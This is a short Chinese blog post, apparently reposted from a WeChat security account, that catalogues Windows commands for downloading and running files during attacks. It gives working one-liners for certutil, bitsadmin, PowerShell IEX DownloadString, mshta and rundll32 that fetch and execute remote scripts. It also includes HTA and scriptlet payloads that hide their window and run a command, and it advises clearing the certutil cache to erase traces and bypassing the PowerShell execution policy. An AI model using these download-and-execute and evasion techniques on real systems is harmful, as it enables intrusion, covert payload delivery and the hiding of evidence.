常见的下载方式主要有certutil、bitsadmin、powershell、rundll32以及mshta这几种;除这几种之外还有很多,但都是执行特定的脚本文件调用上述命令来下载,所以是换汤不换药,上面几种够在实战中使用了。
bitsadmin /transfer myDownLoadJob /download /priority normal "http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg" "d:abc.jpg"
注意:这个命令必须从根目录指定下载文件存放的位置,否则会报错
certutil -urlcache -split -f http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg
2、这个命令本来用来备份证书相关的,因此使用这个命令下载文件之后记得删除下载记录的缓存,使用如下命令即可:
certutil -urlcache -f https://www.xxx.com/test.exe delete
powershell (new-object System.Net.WebClient).DownloadFile("http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg","1.jpg")
注意:使用powershell完成下载,在可以调用powershell的时候可以直接使用
powershell IEX (New-Object Net.WebClient).DownloadString("http://127.0.0.1/whoami.ps1")
注意:这个命令会下载ps1脚本文件并执行,这种方式也可以绕过powershell的执行策略
mshta http://127.0.0.1/whoami.hta
注意:这种使用mshta下载方式下载hta文件,下载的hta文件中可以写好payload,下载完成之后会自动执行,如果执行命令是没有回显的,以下是可以提供下载后执行命令的payload:
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
download
</body>
</HEAD>
</HTML>
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";o=GetObject("script:http://127.0.0.1/test.xml");window.close();
注意:一个古老的技术,rundll32这个东西本身是用于加载并运行32位动态链接库文件的;但很久以前爆出可以利用其执行javascript代码,于是就可以构造一个js下载文件的payload利用rundll32来执行,可用于下载的payload并执行命令的payload如下:(此处为xml格式,下载后缀弄成xml就行了,只要核心是javascript代码即可)
<package>
<component id="testCalc">
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</component>
</package>
原文始发于微信公众号(增益安全):Windows中常用几种下载文件命令
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论